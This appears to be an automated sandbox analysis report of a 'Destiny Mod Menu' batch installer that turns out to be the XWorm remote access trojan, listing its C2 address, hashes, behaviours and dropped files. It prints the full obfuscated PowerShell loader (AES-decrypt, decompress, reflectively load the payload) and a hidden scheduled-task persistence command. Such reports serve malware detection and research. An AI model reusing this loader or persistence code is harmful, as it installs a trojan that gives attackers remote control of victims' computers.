Resubmissions

04/03/2025, 19:23

250304-x32assx1g1 10

04/03/2025, 19:21

250304-x2ytaax1dx 10

Analysis

  • max time kernel
    10s
  • max time network
    12s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250217-en
  • resource tags

    arch:x64arch:x86image:win11-20250217-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    04/03/2025, 19:21

General

  • Target

    Destiny Mod Menu/Destiny/Destiny Loader Installer.bat

  • Size

    265KB

  • MD5

    512d6ccd633decbe126a38c51c29a280

  • SHA1

    017e6fbb5eb2e367f37b4e5c33eb89cafcc7db48

  • SHA256

    411b2ce5f266c6b25a645c37e7fd071772810ae5c74cf457db20f43f43277fe5

  • SHA512

    fde1138b21117652348ec58f6ea92687fb94b111e0c49b5528d995a8e5e1588e7d1957761ca6eabb1010666f925b77a8032c129ec0839c5797a7e8381af24af7

  • SSDEEP

    6144:jhbd8sLlMG4UZT009TJPirdyKRxv4oPhdP:ld9Jdr96YitZdP

Malware Config

Extracted

Family

xworm

Version

5.0

C2

french-add.gl.at.ply.gg:6536

Mutex

db7vnqFX7vAc4WLR

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    System.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Destiny Mod Menu\Destiny\Destiny Loader Installer.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4036
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a4Wny3pMw/quq+3CugnkbgjOgDqz7GpqcCoFYQ082Qg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('McCcrn5ax83ehqoAfbIc3A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $RELLW=New-Object System.IO.MemoryStream(,$param_var); $KdJRg=New-Object System.IO.MemoryStream; $atmEh=New-Object System.IO.Compression.GZipStream($RELLW, [IO.Compression.CompressionMode]::Decompress); $atmEh.CopyTo($KdJRg); $atmEh.Dispose(); $RELLW.Dispose(); $KdJRg.Dispose(); $KdJRg.ToArray();}function execute_function($param_var,$param2_var){ $LMajr=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZqHWQ=$LMajr.EntryPoint; $ZqHWQ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Destiny Mod Menu\Destiny\Destiny Loader Installer.bat';$VYMDR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Destiny Mod Menu\Destiny\Destiny Loader Installer.bat').Split([Environment]::NewLine);foreach ($kwRBK in $VYMDR) { if ($kwRBK.StartsWith(':: ')) { $buoVq=$kwRBK.Substring(3); break; }}$payloads_var=[string[]]$buoVq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1660
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_840_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_840.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1988
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_840.vbs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1080
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_840.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:6040
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a4Wny3pMw/quq+3CugnkbgjOgDqz7GpqcCoFYQ082Qg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('McCcrn5ax83ehqoAfbIc3A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $RELLW=New-Object System.IO.MemoryStream(,$param_var); $KdJRg=New-Object System.IO.MemoryStream; $atmEh=New-Object System.IO.Compression.GZipStream($RELLW, [IO.Compression.CompressionMode]::Decompress); $atmEh.CopyTo($KdJRg); $atmEh.Dispose(); $RELLW.Dispose(); $KdJRg.Dispose(); $KdJRg.ToArray();}function execute_function($param_var,$param2_var){ $LMajr=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZqHWQ=$LMajr.EntryPoint; $ZqHWQ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_840.bat';$VYMDR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_840.bat').Split([Environment]::NewLine);foreach ($kwRBK in $VYMDR) { if ($kwRBK.StartsWith(':: ')) { $buoVq=$kwRBK.Substring(3); break; }}$payloads_var=[string[]]$buoVq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:6080

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    df472dcddb36aa24247f8c8d8a517bd7

    SHA1

    6f54967355e507294cbc86662a6fbeedac9d7030

    SHA256

    e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

    SHA512

    06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    eb15ee5741b379245ca8549cb0d4ecf8

    SHA1

    3555273945abda3402674aea7a4bff65eb71a783

    SHA256

    b605e00d6056ae84f253f22adf37d6561a86d230c26fba8bfb39943c66e27636

    SHA512

    1f71fe8b6027feb07050715107039da89bb3ed5d32da9dca0138c393e0d705ebf3533bcccec49e70a44e0ec0c07809aef6befa097ad4ced18ca17ae98e6df0e4

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rrx440hr.ywp.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\startup_str_840.bat

    Filesize

    265KB

    MD5

    512d6ccd633decbe126a38c51c29a280

    SHA1

    017e6fbb5eb2e367f37b4e5c33eb89cafcc7db48

    SHA256

    411b2ce5f266c6b25a645c37e7fd071772810ae5c74cf457db20f43f43277fe5

    SHA512

    fde1138b21117652348ec58f6ea92687fb94b111e0c49b5528d995a8e5e1588e7d1957761ca6eabb1010666f925b77a8032c129ec0839c5797a7e8381af24af7

  • C:\Users\Admin\AppData\Roaming\startup_str_840.vbs

    Filesize

    115B

    MD5

    e6bc11001f84f486f922ad0fc319c8dc

    SHA1

    183e8f463e5a5853d9e2b0b3b8ab7d4b0be02890

    SHA256

    07365d9eeeccad786648d1e5014ce085acc957159baf64c656e3427a1faa953d

    SHA512

    a6a1fa578b9e2211f8bb27e9cff64433236aa7c70b65476b998b5de73338fb58ec248d4c7b9fe049ba2c927ef9ca46534f8dfe98a1507fb1d817971adf1eea25

  • memory/1660-12-0x00007FFDA4550000-0x00007FFDA5012000-memory.dmp

    Filesize

    10.8MB

  • memory/1660-10-0x00007FFDA4550000-0x00007FFDA5012000-memory.dmp

    Filesize

    10.8MB

  • memory/1660-14-0x000002132C1F0000-0x000002132C224000-memory.dmp

    Filesize

    208KB

  • memory/1660-51-0x00007FFDA4550000-0x00007FFDA5012000-memory.dmp

    Filesize

    10.8MB

  • memory/1660-13-0x000002132C1E0000-0x000002132C1E8000-memory.dmp

    Filesize

    32KB

  • memory/1660-49-0x00007FFDA4550000-0x00007FFDA5012000-memory.dmp

    Filesize

    10.8MB

  • memory/1660-48-0x00007FFDA4553000-0x00007FFDA4555000-memory.dmp

    Filesize

    8KB

  • memory/1660-1-0x0000021313D20000-0x0000021313D42000-memory.dmp

    Filesize

    136KB

  • memory/1660-0-0x00007FFDA4553000-0x00007FFDA4555000-memory.dmp

    Filesize

    8KB

  • memory/1660-11-0x00007FFDA4550000-0x00007FFDA5012000-memory.dmp

    Filesize

    10.8MB

  • memory/1988-25-0x00007FFDA4550000-0x00007FFDA5012000-memory.dmp

    Filesize

    10.8MB

  • memory/1988-30-0x00007FFDA4550000-0x00007FFDA5012000-memory.dmp

    Filesize

    10.8MB

  • memory/1988-27-0x00007FFDA4550000-0x00007FFDA5012000-memory.dmp

    Filesize

    10.8MB

  • memory/1988-26-0x00007FFDA4550000-0x00007FFDA5012000-memory.dmp

    Filesize

    10.8MB

  • memory/1988-16-0x00007FFDA4550000-0x00007FFDA5012000-memory.dmp

    Filesize

    10.8MB

  • memory/6080-50-0x0000024245A30000-0x0000024245A40000-memory.dmp

    Filesize

    64KB